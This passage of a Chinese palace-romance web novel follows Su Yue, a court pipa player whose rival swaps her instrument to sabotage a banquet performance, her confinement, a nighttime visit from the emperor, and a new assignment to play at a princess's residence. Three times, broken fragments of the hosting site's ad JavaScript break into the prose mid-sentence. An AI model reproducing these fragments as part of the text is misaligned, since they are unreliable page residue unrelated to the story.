不过这回的筵宴设在了大业殿,今天宴请的主要是前朝归顺的元老,及新任的皇亲国戚们。临时的帐幄设在东边的庄敬殿,因此得先去那里等候,时辰差不多了,再移到备场的大帐里去。 登台之前,各人有各人要忙的,整理衣冠,重新抿发,这是必要的流程。 苏月把琵琶放在一旁,就着铜镜把垂落的一缕发重新绕上去,等整理妥当了,跟随队伍在帐门前候命。 每一回登场前,都是一样地心情忐忑,尤其这一次,得知座上宾里有一半是权家人,便开始暗暗祝祷,但愿没人认得她,但愿太后没有见过她。 一阵冷风吹进来,从半悬的帐门下席卷脚面,不由打了个哆嗦。一手抱住琵琶,一手压住弦,移进大殿一侧的帷幔后,更要管住自己的手和乐器,不能发出半点杂音。 终于前面的曲目完成了,乐工们鱼贯退出来,轮到他们上场。气势雄伟的大定曲,共由三十六人组成,三十六人中只有她一把琵琶,这重担压在肩上,实在倍觉沉重。 落座,乐起,雄浑的编钟和鼓声,奏出了万马奔腾的壮阔气象。一串激荡的乐章之后,琵琶的独奏便脱颖而出,或低吟或呐喊,遮弦、拂弦全在指尖之上。 只是不知怎么,苏月上手时,就觉得这琵琶有些古怪,和她平时调的音色不一样。她心头惴惴,因为不安,弹奏的时候也格外小心。 然而预感这东西,不得不说是真准,在她轮指的时候,忽然“铮”地一声锐响,子弦和中弦居然一齐断了。 这下全场哗然,听客们朝她看过来,乐工们则暗呼不妙,料想这回要坏事了。 苏月心头大跳,内层的中衣几乎被冷汗浸湿了。明明她在出梨园前,曾经仔细检查过四根弦的,为什么偏偏这个当口断裂,且断的是一弦和二弦,连补救的余地都不留给她。 这场大定乐,由此戛然而止,承上启下的环节没了,继续若无其事地奏下去,会被认作欺君,谁也担不起这个责任。 梨园使这会儿已经吓得三魂飞了两魂半,慌忙跑出来跪地磕头,“臣死罪、臣死罪……” 乐工们如数全跪倒了,大殿上一时静谧无声,那种寂静,简直令人窒息。 太常寺卿作为梨园顶头的官员,这回也脱不了干系,慌忙上前告罪:“陛下息怒……陛下息怒……不敢扰了陛下过节的雅兴,让这些乐工继续奏乐吧。余下的交给臣处置,臣一定重新整顿梨园,严惩不贷。” 要是照着巫傩之说,大定乐上断弦不是好兆头,触犯了禁忌,皇帝必定雷霆震怒,所有乐工都要受牵连。 然而出乎众人预料,九龙椅上的人一派淡然,完全没将此事放在心上,支颐道:“接着奏吧,又不是什么大事,不必慌张。” 所以皇帝陛下的仁慈形象,瞬间在所有乐工心中拔高了几丈。要是换作前朝,他们这帮人有一个算一个,一个都别想活命。没想到新朝治下,出现这样重大的失误,在陛下口中却不是大事,实在令人意外。 乐工们感激涕零,战战兢兢把断了的曲目续上。至于苏月,四根弦断了两根,琵琶是弹不成了,被太乐丞带回了待演的帐幄里。 等着上场的小部都在,内宰和太乐丞也在,大家愕然看着他们回来。 太乐丞痛心疾首:“到底是怎么回事?我说过多少遍了,让你们临出门前仔细检查自己的乐器,你把我的话当耳旁风了吗?” 苏月低头看着手里的乐器,喃喃道:“这不是我的琵琶。” “什么?”太乐丞和内宰怔了下,“不是你的琵琶?你自己从圆璧城抱进来的,怎么不是你的琵琶?” 苏月道:“就算是自己抱的,也不是一刻不离手。我们先前整理衣冠时,琵琶就放在一旁,若是有人诚心替换,多的是机会。” 内宰显然很不喜欢她的辩解,“你的意思是有人刻意陷害你?你与谁结了深仇大怨,要在这么重大的场合要你的命?” 这时同场的乐工都回来了,内宰指着那些人道:“你看看,他们之中哪个陷害了你?这首曲目里,你的琵琶是独奏,全场找不出第二把来,谁会趁乱换了你的琵琶,让你在大殿上捅那么大的娄子?” 春潮虽然刚到场,但三言两语间已经听出了端倪,横插一嘴道:“这场没有琵琶,前面退场后面赶场的,少说也有十来把,这话可说不清。” 太乐丞气呼呼说好,“既然如此,回去之后便一把一把查验,我倒要看看,究竟是谁换了你的乐器。” 这声令下,但凡大定乐前后场次弹琵琶的乐工,不得准许都不能擅自离开了。 大家自然有微词,回到圆璧城后,聚集在大乐堂里窃窃私议:“她一个人出了错,凭什么把我们都扣下?看来今日弹琵琶的犯了天条,不该和皇后娘娘用一样的乐器。” 苏月听她们冷嘲热讽,心里自然不是滋味。这十二个乐工里,有半数她都不相熟,照理不会坑害她,但余下的六个都是熟面孔,其中就有刘善质。 春潮和颜在都跟来了,春潮道:“少废话,常年使用的乐器,拿到手就知道是不是自己的。回头要是查验出来有人使坏,请佟令先发个话,会如何处置此人。” 太乐令震怒非常,一张脸拉了八丈长,“要不是陛下宽仁,今天命都交代在这里了。梨园的人虽不显贵,但品行绝不可低劣,暗中使这样的坏,其罪当诛!若找出这个人,我自然向寺卿回禀,从重处置,以儆效尤。” 太乐令表了这个态,众人俱是一凛,这要是摊上了事儿,后果不堪设想。 但也有人不满,不屑道:“我看哪有人使坏,分明是辜娘子为引起陛下注意,诚心弄出这场意外来。她早前险些和陛下结亲,如今懊悔了,想再续前缘也不一 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 定。” 杀人诛心的话,说出来总是很容易。苏月没理会那个乐工,对太乐令道:“早年的私事,不该拿到现在来取笑。我的琵琶整日不离手,只要送到我手上,不用弹,就知道是不是我的。” 太乐令划拉了一下衣袖,“你去查验,只要揪出这个人,此事就与你无关了。” 那十二个乐工便抱着琵琶站成一排,等着她来辨认。 不是这把……也不是这把……她逐一看过来,看到刘善质手里这把时,她甚至没有去触碰,便抬起眼,直直地望向她。 刘善质的眼睫,快速地眨动了两下,刻意回避了她的目光。 苏月回身问太乐令:“佟令先前说,会如何处置此人?” 太乐令道:“罪都犯到陛下面前去了,下狱、入教坊充营妓,除此之外没有第三条路。” 那些高高在上的官员们说起这种话来,冷酷得不带半点迟疑。苏月又望了望刘善质,见她脸色隐隐发白,到了嘴边的话重又咽了回去,回身对太乐令道:“卑下没有找见自己的那把琵琶,请佟令责罚。” 然而春潮和颜在都看得明明白白,苏月的那把琴,必定就在刘善质手上。这些人里,也只有刘善质鬼迷心窍,总觉得苏月要同她抢白少卿,她有足够的动机陷害苏月。 可苏月还是心太软,其实只要她指证,就能让刘善质吃不了兜着走。结果她临时改了主意,看来是没想至人于死地。 但梨园有梨园的规矩,即便上头没有下令惩治,进了圆璧城,也有城内自己的一套赏罚。演奏大乐时出现了重大失误,罚俸之外,是要关进幽室的。 顾名思义,这幽室可不是好地方,窗户拿厚纸糊得严严实实,见不着人不说,一天只有一餐饭。通常会被关上三日,当然要是认错态度不好,五日七日也是有可能的。出来之后收缴鱼符,也许再也没有登台的机会了,有的还会降等子,直接罚去做杂妇,习学那些倡优伶人才学的杂乐。 折腾了一圈,最后还是回到原点,太乐令不耐烦道:“那就别耽误工夫了。”转头吩咐内宰,“叫人来,送她去栖鸦馆。” 内宰领命,扬手叫人,春潮忙不迭求情,“佟令,陛下先前发了话,说不是什么大事,更没说日后不许她再登台。况且她和陛下有些渊源,万一陛下哪天想起她,找不见人了,佟令怕是不好交代。” 这倒是个问题,须得仔细斟酌,没有十足的把握,的确不好处置。 太乐令略沉默了片刻,反问春潮:“本令说了,不许她日后登台吗?你胡乱揣测些什么?真是莫名其妙!” 春潮虽然挨了数落,但苏月的前程算是保住了,忙和苏月重申一遍:“你可听明白了,佟令说只关你几日,忍一忍,很快就能放出来了。” 苏月抿唇一笑,算是心照不宣了。 内宰唤来傅姆把她送进栖鸦馆,那是个荒芜的院落,砖缝中的枯草足有膝盖高,在寒风吹拂下簌簌颤抖着。和内敬坊其他地方比起来,这里简直像战后被遗弃的民宅,并且院子轮不着你闲逛,你只能被关进其中一间禁足。 傅母打开了锁,推门进去的时候,乘着天光能看见里面有一张床,角落里摆着一只恭桶,除此之外再无其他了。等合上门,天一下子仿佛黑了,屋子里光线昏暗,她适应了好一会儿,才勉强看清周围。 探手摸了摸床板,薄而潮湿的被褥,这里没有炭盆,更没有热水。她只能裹紧身上的斗篷,蜷缩在床角,想起远在姑苏的家人和高床软枕,心情顿时沉重起来。 这种幽室,对身体的伤害不大,但能摧毁人的精神。她开始专心感知时间,时间汤汤而过,不消多久,她就迷失在其中了。 看光线穿透越来越弱,她想应当真的天黑了。这时外面隐约传来脚步声,不一会儿就有人笃笃扣击门框,她惨然抱着膝头说:“姆姆拿回去吧,我不想吃。” 外面安静下来,她以为人走了,怅然叹了口气。 不想转瞬又听见一个低沉的嗓音响起,“不吃不喝,置生死于度外了?” 13.第 13 章 苏月精神顿时一振,忙直起腰问:“谁?” 门外的人哼笑了声,“看来辜娘子交友广阔,就算被关了幽室,也有不少故交来探望啊。” 如此阴阳怪气,几乎可以断定是何许人也了。 其实他刚出声,她就猜到是他了,只是不敢相信,堂堂的皇帝陛下会这么闲,居然跑来看她的笑话。 当然,说他是来看笑话的,也许有些白目了,毕竟人家政务如山,特地从禁内赶来,总得有个由头,不会单单是来嘲笑的。 她忙起身相迎,“卑下隔着门,没法给陛下见礼,请陛下恕罪。天黑了吧,陛下这时来,所为何事啊?” 门外的人说:“来看看大定乐上断了琴弦的人,现在心中作何想。” 说起这个,不免有些憋闷,她气馁道:“还能作何想,无非羞愧欲死罢了。但卑下要是说,这次出错是着了别人的道,陛下会不会觉得我又在诡辩,在给自己找借口?” 皇帝“嗯”了声,“怎么说‘又’啊,难道你也认为自己事出有因太多次,已经快要不灵验了?” 苏月说不是,“每次我遭殃,好像都是别人加诸于我的,解释了太多回,我有些不好意思了。” 皇帝叹道:“难得你不忘自省,但朕还是愿意听一听,辜娘子究竟有什么苦衷。” 苏月丧气地说:“我的琵琶被人换了,四根弦一下子断了两根,实在很荒唐。” 这倒是个新奇的说法,皇帝问:“为什么会发生这种事?” 其中缘由说出来,更觉得倒霉了,“爱慕白少卿的乐工,误会我与少卿纠缠不清,所以成心使绊子,让我在大定乐上出纰漏。” 门外的人忽然不说话了,隔了好一会儿才问:“那么你与白溪石,究竟有没有纠葛?” “自然没有。”苏月说,“我只见过白少卿两回,但因为是他提拔我入宜春院的,所以就理所当然地起了误会。” “既然你是被陷害的,为什么不说出来,请太乐令为你主持公道?”门外的人问,“是找不到证据,无法自证吗?” 苏月摇了摇头,“我的乐器,我一眼就能辨认出来。我同太乐令说了,也找到我的琵琶了,可要指认她的时候,我又下不得狠心了。因为太乐令说,抓住始作俑者,要将她下狱、充营妓,一个女郎但凡走到那一步,一辈子就彻底毁了。我想了想,反正我的过错,陛下已经赦免了,梨园总不能把我发配了吧!倒不如我来承担罪责,毕竟下幽室,比那两条路好走多了。” 皇帝听她说完,不由赞许:“没想到,你的心肠不算坏。” 这是什么评价,直接说心肠好不行吗?非要说“不算坏”。 然而皇帝的话,谁敢反驳呢,她只得应承,“陛下谬赞了,卑下愧不敢当。” 门外的皇帝笑了笑,“不过善心有余,谋断不足,你大可要求白溪石出面解决这件事,至少让自己免于下幽室。至于那个乐工,白少卿自然保她周全,你也不必担心。” 苏月的脑子一时转不过来,“我是真没想到,该请白少卿来断案……不过陛下怎么知道白少卿一定会保她?这阵子白少卿正躲着她呢。” 皇帝道:“保她不是为她,是为白少卿自己。他是太常寺官员,和乐工不明不白,传出去会影响仕途。再说这也是助人看清真相的好机会,两情相悦保得心甘情愿,如果一厢情愿,就算保下也是怨声载道,那个乐工就该清醒过来,及时抽身了。” 苏月恍然大悟,“陛下说得对,我当时只知道计较利害得失,没想去惊动白少卿,害得自己被关进这里来,果然是失策了。” 皇帝说不打紧,“多吃几次亏,以后就知道如何应对了。” 苏月黑了脸,“一次不够,还要多吃几次……下次要是运气不佳,小命就糊里糊涂弄丢了。”说完才想起来,诚挚地向他道了谢,“我能活命,多亏陛下宽宏大量。陛下对我有再造之恩,卑下日后一定不敢忘了陛下的恩德。” 门外的皇帝听了,心情有几分舒畅,话也应得坦然,“朕是看在和你有渊源的份上。那个消息不是传扬出去了吗,朕要是借机杀了你,有损朕的清誉。” 苏月忙说是,“退一万步,卑下与您也算同乡。虽然如今天下都是您的,但您的根在姑苏,终归和旁人不一样。” 皇帝低下头,微挑了下唇角,“故土难离,故人难弃,就算登上了至尊的宝座,也难改这个脾性。” 话说完,才发现似乎很容易引发歧义。 果然,苏月提出了不同的意见,“陛下,我们只是同乡,不算故人。” 她撇清得快,引得他恼羞成怒,“朕说了故人是你吗?你往自己身上揽什么?” 苏月迟疑道:“您这个时候隔着门和卑下说了半天话,卑下忽然就自以为是起来……对不起,卑下错了。” 皇帝被她截住了话头,不免因失言感到难堪,咬着牙气恼道:“朕发现,你是一点都不怕朕啊。” 苏月忙说不,“卑下畏惧天威凛凛,绝不敢藐视陛下。” 不过说句实话,她对这位皇帝陛下,居然真的够不上害怕。 别人眼中他是开国皇帝,文韬武略垂治天下,而她对他的认知,还停留在权家大郎上。她一直觉得彼此是平等的,平等到阿爹回绝过他家的提亲。可能正是因为这个缘故,她至今都无法做到仰望他。 皇帝生来敏锐,她在敷衍他的时候,他心里早就不自在地拧了好几个结。各种揣测齐涌上心头,他甚至怀疑门内人在偷偷耻笑他,便问:“你是不是正洋洋自得?是不是正眉飞色舞?” 苏月咧嘴笑着,还要说没有,“若是陛下能看见我,必然觉得我心口如一,说的都是真话。” 原本瞎话说得很有底气,也很坦然,这幽室虽然让她痛苦,但此时却成了最好的屏障。她本以为自己被关在门内万无一失的,可没想到,门上忽然传来了开锁声。 还没等她反应过来,两扇直棂门就被推开了。那个高大的身影披着夜色,从门外迈进来,“女郎既然如此有诚意,那朕就如你所愿,进来看看吧。” 苏月目瞪口呆,“您有钥匙?那为什么隔着门说了这么久?” 皇帝道:“朕怕你不好意思,顾全你的脸面,但没想到你见朕的心情如此急切,再不开门,就太辜负你的期望了。” 他一面说着,一面提起一个提篮放在桌上,变戏法一样从里面摸出一支蜡烛,吹起火折子,把它点燃了。 屋里亮起来,照清了苏月错愕的脸,“陛下行事真是非比寻常,实在令卑下意外……” 他说不用意外,“朕是皇帝,办事的章程要是能被你猜透,那朕就应当反省了。”说着把提篮往前推了推,“里面有木柴,你自己想个办法点起来,可以驱寒。记着窗户开一道缝,别把自己毒死了。” 苏月看着这些木材,陷入了沉思,“陛下,这里的窗户都是钉死的,开不了窗。” 皇帝显然疏忽了,尴尬地摸了下鼻子,“那门就不锁了,你别声张,悄悄掩上就是了。朕没给你带吃的,过会儿有人送来,食盒里备了糕点,就算一天只送一顿,也饿不着你。”顿了顿又问,“你要热茶么?朕也可以安排人送来。” 苏月看他逐样吩咐,终于忍不住提出了困扰自己良久的问题:“陛下何不发句话,干脆把我放出去算了。” 皇帝斜眼乜了乜她,“朕不插手梨园事务。你的罪是太乐丞定的,朕从中阻挠,日后还让他如何服众?” 当然这是冠冕堂皇的说法,暗地里也有他的计较。当初辜家拒婚,宣扬出去已经颜面扫地了,现在再上赶着赦免她,岂不是让人误会他余情未了,折辱帝王的尊严吗? (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 所以她应该老老实实照着太乐令的命令,在这杂院关满三天,这期间略给些关照是小事,反正这里偏僻,没人看得见。 不过他乜斜她的当口,又发现了一桩了不得的事,“朕的斗篷,你特意穿进来的?” 苏月说是啊,“这玄狐的皮毛,比我那件猞猁狲的暖和多了。” 皇帝接着上下打量她,最后把视线落在她脚上,凝眉道:“不单穿进来,还把它剪短了?” 苏月不自在地提动了一下斗篷,当时她动剪子的时候确实犹豫过,但最终没能经得起诱惑,改成了适合自己的尺寸。 “陛下就说,我改得好不好吧。”她硬着头皮道,“我还给它包了边,和原先的针脚一模一样。” 然后他看她的视线变得迟迟的,“谁答应让你修改了?” “不能改吗?”苏月道,“陛下把它赏了卑下,自然要改得更实穿,才不辜负陛下的美意啊。” “朕说过赏你吗?”他开始费力回忆当天的情景。 苏月笃定地说:“赏了。直接扔给卑下,就是卑下的了。” 她嘴上义正辞严,背上又开始冒汗,他好像真的没有把“赏”字说出口过,但是眼下不必在意这些细节了,木已成舟,就这样吧。 她适时讨好地说:“再多柴火,也不及这件斗篷暖和。要不是有陛下的恩赏护佑,卑下关进这里半日,已经被活活冻死了。” 原本还在冥思苦想的皇帝,听她说到这里便不再追究了,掖着袖子,居高临下地睥睨着她,“罢了,也算物尽其用。” 苏月抿唇笑了笑,四下看了一圈,为难道:“这里太过简陋,想请陛下坐,竟也找不到地方……” 皇帝知道她的小九九,“你在暗示朕,该走了是吗?” 苏月说哪能呢,“我一个人被关在这里孤寂得很,陛下能来同我说说话,实在求之不得。只不过这里不洁净,不是陛下该来的地方,所以还是请陛下尽早回銮吧,免得沾染了浊气,有损龙体。” 皇帝想了想说也好,“来了半日,是该回去了。”转过身正要出门,忽然又想起了一件事,回头告诉她,“太后认出你了。” 苏月心头一趔趄,强颜欢笑着:“早前在姑苏,原来太后就见过卑下啊……” 要是没有见过,也不会非辜家不可了。 太后有一回路过升平街,无意间看见一名年轻女郎从门内经过,一下子撞进心坎里来,这才决意替儿子提亲的。辜苏月的长相让人很难忘,就算时间久远记忆模糊了,但只要再见,立刻便会认出来,谁让那美貌无遮无挡呢。 其实要说为他挑选,倒不如说是太后自己喜欢。娶儿媳么,就得是婆母相上的,日后共处才能一团和气,有点小龃龉也能担待。 先前的大殿上,弹琵琶的乐工崩断了弦,太后原本正愠怒,一下子看见她的脸,顿时忘了发火。 十分意外地望向皇帝,皇帝淡然把手搭在圈椅扶手上,指尖缓缓抚触着虎骨的约指,一副恍若未闻的模样。太后便把要说的话咽了回去,端起桌上的茶,慢条斯理喝了两口。 想必太后相信,她的儿子心里早有成算,否则辜家的女儿不会出现在上都。人进了梨园,那更有趣了,定是当年惨遭退亲的人,在想方设法出气。 时至今日,太后是再也不怕儿子被欺负、被轻视了,所以那事她懒得去管,只是照旧催促他,立了国得迎娶皇后,得花点力气,把紫微宫偌大的掖庭填满。 掖庭还无主呢,怎么能随意往里头填人。他口头应着,朝中事务压得他疲累,只想走出内廷散散心。但不知怎么,走着走着走到这里来,看啊,这不是巧了吗! 如今他来看她落魄的模样,随意又提了提太后。果不其然,她眼里顿时闪过一丝惊慌,看得他一哂,得意地调转开视线,负着手缓步踱远了。 14.第 14 章 反正事到如今,就听天由命吧!至少苏月是乐观的,三次接触皇帝,切切实实能看出来,他虽然嘴下不留情,但举止宏雅,很有风度,绝不是个阴晴不定的暴君。 儿子是如此,少不了母亲的好教诲,所以她也不担心太后会找她的不自在。就算还会因那件事耿耿于怀,只要照着先前对皇帝的解释再说一遍,想必太后也能宽宥的。 门扉半掩,果然没有合上,这是多大的恩典啊,就如铁桶上凿出一个口子,让她能够得见天光。 回身再看看,蜡烛发出温暖的光。她从没觉得这么寻常的物件,有一天对她来说会如此难能可贵。还有这柴禾……柴禾就算了,屋里地方小,闹得不好就把自己烧死了。 后来的饭食,也真如皇帝说的那样,虽不丰盛,但量大。其余两顿的糕点也预备好了,所以这幽禁除了冷一点,没有火烤,倒也不算太过难熬。 等到了第四天晌午,终于有傅姆来放她出去了。一推门,还有些惊讶,“这三天,横是没锁上?” 苏月笑了笑,“不是,是昨日送过饭忘关了。姆姆别说出去,小事一桩,免得连累了送饭的仆妇。” 傅姆自然是多一事不如少一事,便没说什么,领着她出了栖鸦馆。 回到内敬坊,向太乐令复命,苏月老老实实认了错,“卑下学艺不精,有负佟令的希望,险些拖累了同僚,都是我一个人的过错。佟令赏我反省三日,我已经明白自己错在哪里了,从今日起必定戒骄戒躁,全心习学。求佟令再给卑下一次机会,让卑下弥补错漏,改过自新。” 这番话说得很真诚,太乐令听罢点了点头,“如此最好。那这次就不收缴你的鱼符了,且看你以后的表现,要是再出错,神仙也保不了你,记住了吗?” 苏月说是,又行了个礼,这才返回枕上溪。 回到直房时,春潮和颜在都出去排演了,只有一把琵琶横置在桌上。 断了的弦已经续上了,她抱起来,轮指弹了一段。即便三天过去了,最初的感觉还是没有变,这把琵琶依旧是陌生的。 这件事总得有个了断,不能平白吃了哑巴亏。她擦洗过后换了衣裳,这才带上琵琶赶往大乐堂。 正是午间休息的时候,乐工们三三两两聚在廊子上,她径直走到刘善质面前道:“刘娘子,请借一步说话。”复又提醒了一句,“带上你的乐器。” 刘善质没有说话,她身边的人却抱不平,“怎的,关了几日,关出天王老子来了?” 苏月连看都没看她们一眼,只对刘善质道:“我在小凉亭后等你。” 她转身走了,听见刘善质勉强遮掩,“我去看看,看她耍什么花样……” 不一会儿人来了,语调里带了几分心虚,“辜娘子,有什么话,非得到这儿来说?” 苏月道:“人多的地方说了,我怕你脸上挂不住。”语毕把手上的琵琶递过去,“乐器有灵性,会认主,它在我这里不自在,也请娘子把我的琵琶还给我。” 刘善质白了脸,“你在胡说什么……” 可话刚说完,苏月便把琵琶放在一旁,一把夺过了刘善质手里的那把。 拂弦,用惯了的乐器,怎么使都透着舒畅。她伴着弦乐缓声道:“那天没有戳穿你,是怕你受重罚。我这把琵琶除了音色略有不同,琴轴上月不小心磕了一下,留下了针尖粗细的一处划痕,要我指给你看吗?还有这把琵琶的弦怎么调,音色才最佳,要我告诉你吗?” 刘善质见状,知道不必再抵赖了,长出了一口气问:“辜娘子要什么?是钱财?乐谱?还是……人?” 苏月直皱眉,“钱财我没处使,也不想做流芳千古的乐师。至于人,我若是真想抢,不在乎刘娘子是否愿意拱手相让。我什么也不要,只想取回我的琵琶罢了。” 刘善质有些意外,“就这么简单?害你在台上出错的确实是我,你明明知道我是罪魁祸首,你怎么不在太乐令面前揭穿我?” 苏月看了她一眼,“下狱、充营妓,刘娘子选哪一样?” 刚才还百思不得其解的人,一下子就说不出话来了。 苏月低下头,抚了抚琵琶的背板道:“我不想同你为那种莫须有的事,闹得两败俱伤。我今日再与娘子说一遍,我和白少卿不相熟,连话都没说过两句,请娘子不要捕风捉影。” 刘善质到这时似乎才相信她,“辜娘子说的都是真话?” 苏月已经懒得再和她啰嗦了,一个满脑子情爱的糊涂虫,你永远和她说不出头绪。 她抱着琵琶转身便走,走了两步听见刘善质脱口而出,“节后的几场大乐,为什么你场场被安排在最重要的位置,你知道吗?都是白少卿为你安排的,他要捧你!” 可苏月并不因此暗喜,反倒满心的不快,“我还得谢谢他让我担那么重的责,让我连滥竽充数的机会都没有。” 也许内敬坊的所有乐工,都有出人头地的愿望,被高高捧起,多了许多露脸的机会,能讨得权贵们的喜欢,那么便有更多的机会离开梨园了。苏月虽然也想回家,但她的情况比较复杂,并不是谁相上了,就能把她带出去的。 所以白少卿安排她担任大乐中的要职,对她来说是额外的负累。她并不因此感激他,反倒觉得这份关照来得莫名其妙,难怪会引得刘善质误会。 不过过多解释没有必要,她也没有停下步子,只听见刘善质又在身后喊了声:“我欠你一份人情,日后定当报答。” 苏月没理会她,忙着和春潮她们报平安去了。 春潮和颜在知道她回来了,正站在大乐堂前的廊庑上等她。看见她走来,颜在忙上前迎接,仔细打量了她两眼,“关进幽室三天,没见你变得憔悴,精神反倒很好。” 苏月笑了笑,心道这三天无事可做,除了吃就是睡,诚如疗养去了。 春潮看了眼她怀里的琵琶,“换回来了?” 苏月说是,“换回来了。还是自己的好,抱着安心。” 春潮没说什么,只是微点了点头。 前朝遗留下来的乐工,其实都是苦人儿,命运已经够颠沛了,落得太乐令说的那个下场,未免可怜。因此苏月这么做,即便厉害如春潮,心里也是赞同她的。以德报怨看似吃亏,实则是积德,反正没有引发太严重的后果,放人一条生路,不求害人的那个人感激涕零,自己求个心安就是了。 目下苏月归了队,因为有劣迹,元宵节那日的大演她是没资格了。太乐丞从别的前头人里挑选了一个顶替她,然后对插着两袖,踱着四方步来安排她,“十四日晚间,汉阳长公主府上有家宴,驸马的老娘过七十岁生辰,请梨园子弟献演。元宵节那天排好的乐工不能动,银台院里点了三四十人过去,只怕排场还不够。所以我同上面商量了下,再从宜春院里抽调十人凑数,这阵子要观你后效,你就随她们一道去吧,历练历练,还能得些赏钱,也是个肥差。” 梨园的人借出去本就是常事,苏月也愿意上外面走动走动,因此爽快地俯身领了命。 太乐丞又道:“刘善质也一同去。我不知道你们之间有什么矛盾,但既然在一个院子里任职,还是尽早消除隔阂为好。” 所以那天的内情,主事的官员其实已经洞悉了,不过苏月愿意大事化小,刘善质又是梨园的老人儿,所以睁一只眼闭一只眼揭过了。 晚上回到直房,颜在还同她开玩笑,“进了人家府邸可要小心,别被驸马看上。” 苏月打了她一下,“又在胡说!” 春潮仰在枕上发笑,“这种事不新鲜,梨园的人说得好听叫乐师,说得不好听就叫乐妓。那些达官贵人们,打心底里看不起我们,前朝时候我们不知道吃了多少暗亏,但愿新朝少些这样的烂事吧!” “乐妓?”颜在气愤不已,“我们都是清白人家的女郎,怎么就成‘妓’了?” 春潮压了压手,“我说得浅显些,助你们尽快看清自己的处境。”话又说回来,“反正去了人家府上,千 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 万要机灵点儿。眼下满上都都是战功赫赫的王公,咱们谁也得罪不起。” 苏月道好,谨记在心了。接下来几日如常排演公主府要用的曲目,毕竟是去私宅,不像上大殿那么紧张,她竟然品出了一点悠闲的滋味。 梅引和颜在她们又在练习江南古曲,她得了空便在一边旁听,手指不能拨弦,只好隔空练习指法。正琢磨门道,听见身后有人唤了她一声,回头看,是白溪石,正站在亭台下的石阶上,仰头望着她。 苏月忙从鹅颈椅上站起身,向他见了个礼,“少卿来巡园吗?” 白溪石颔首,日光从他头顶洒下来,真是一派儒雅的气象。他说:“前几日奉命去陪都公干,昨日刚回来。听说小娘子初五宴上出了岔子,被太乐令处置了?” 始作俑者就是你,这种话毕竟不好说出口,苏月只得含糊应了。 白溪石沉吟片刻道:“这件事的前因后果我大致知道了,今日特地来找小娘子,就是为向小娘子致歉的。在我不知情的情况下,竟给小娘子带去了那么多麻烦,还请小娘子见谅。” 苏月并不打算和他有太多接触,口头上支应着,“事情已经过去了,就不再重提了。况且和少卿没有太大关系,少卿不必向我致歉。”说罢笑了笑,便打算进亭台里面去了。 “辜娘子……”白溪石又叫住了她,愁眉道,“这件事一出,娘子想必对我深有误会了,我想辩解,竟不知该从何说起。有些事,不是我心下反感就能撇清的,人不寻事,事却要寻人,这也是无可奈何的啊。” 苏月停住了步子,绞尽脑汁道:“我刚入梨园,屡屡受少卿栽培,心里一直很感激少卿。公事之外的那些琐碎,也请少卿不要放在心上,清者自清么,日久见人心……”然后就卡住了壳,不知道该说什么了。 白溪石见她笨嘴拙舌,反倒笑了,“也是,清者自清,小娘子说的很是。” 苏月复又向他行了个礼,“卑下还有排演,先行告退了。” 白溪石点了点头,看她抱着琵琶,快步走开了。 关于去公主私宅这个差事,苏月还是十分期待的。汉阳长公主并不是皇帝胞姐,应当是关系较为亲近的堂姐,立国之后分封族亲,这位堂姐便也得了长公主的封号。 长公主是外嫁女,听说嫁到了余杭,离姑苏远,想必不知道辜家拒婚那件事。因此苏月很是安心,只等走出宫门,去外面的世界看看。 十四日一早,来接人的车马就停在了德猷门外,苏月随众人鱼贯登上马车,一路向南进发。大约穿过了三条街市,马车停在一个面朝直道的大宅子前,看这宅子很气派,足占了半个里坊,门前老大两对石狮子,龇牙咧嘴,嘴里衔着红绸扎成的花。 府里的司马出来迎接,对领队的太乐丞道:“后堂辟出了乐室,请随我来吧。” 长公主府上对应邀的乐工很客气,各色茶点招待着,但上场之前大家仍是不敢随意吃喝的,至多是烤烤火,喝上半杯茶。 因为来得早,宾客还没到,大家闲坐的时候,司马打起了门帘,引身后的人进来。 进门的女子约摸三十来岁光景,生得很端庄,打扮也不甚华贵,通过司马之口得知,她就是汉阳长公主。 长公主的脾气很温和,含笑道:“今日有劳各位了,到我府上奏乐。还请尽力而为,事后必定有赏。” 众人俯首应是,心下不免嘀咕,这位长公主一点没有皇亲国戚的派头,新官上任毫不浮躁,真是难能可贵。 然而更让人意想不到的还在后头,长公主从乐室出去不多久,就听见对面廊子上传来不高不低的说话声,语气很不好,隐约说什么“今日宴客,也不拾掇拾掇。怎么,要让宾客们看看,你在婆家受了欺辱”云云。 大家按捺不住好奇心,悄悄推窗朝外看,见长公主正低头聆训,对面站着个穿绫罗的老妇人,一脸嫌恶的模样。看来平时就是这样管教儿媳的,即便儿媳成了大梁的长公主,也照旧积重难返。 15.第 15 章 大家面面相觑,忙关上了窗户。 然而那老妇人中气很足,嗓门响亮,说话的内容也还是传进乐室里来。起先是不满族中远房的亲戚没有下帖子,后又对长公主不加掩饰地挑剔,“嘱咐你的事,一样也办不好……不过你水涨船高,我也说不得你了。以前在余杭,你可不是这副模样,做人不能忘本……” 说得屋里坐着的众人直伸舌,人家如今贵为长公主,都要受她这顿喧排,要是换作以前,恐怕日子更难熬吧! “这里不是长公主府邸吗?”有人小声嘀咕,“婆母反客为主,犯不犯律法?” 也许在驸马母亲的眼里,长公主是嫁到她们家的,既进了他家的门,不论荣誉还是赏赐所得的房产田地,都应当归夫家所有。所以住进了这长公主府,全然没有寄人篱下的不便,长公主再怎么了不起,也还是他家的儿媳。 一位早前曾经到庆国公府上出演的宫人,道出了其中原委,“据说长公主成婚十年没有生育,因此驸马的母亲才百般挑剔,每每给小鞋穿。” 大家不以为意,“不能生育又怎么样,阖家的荣华富贵全仗着长公主,还如以前一样欺负人,恐怕不合适了吧!” “民间不知轻重的老妇,不都是这样么。婆母挑剔儿媳是天经地义,管你身份何等尊贵。” 有人撇嘴,“怕也只有这位,生得这样张狂。” 太乐丞听到这时才迟迟出言阻止,“行了,怎么议论起主家长短来了。不许再说了,都住嘴。” 乐室内一时安静下来,大家闲来无事,拨弦调校音色,长长短短的乐声,把外面的动静掩盖住了。 今日长公主府上的宴饮有两场,中晌简单些,来的都是族中的亲眷,用小调和歌舞助个兴就行了。到了晚宴是重头,到时候得用雅乐,场面宏大挣足脸面,才彰显皇亲国戚的威风和特权。 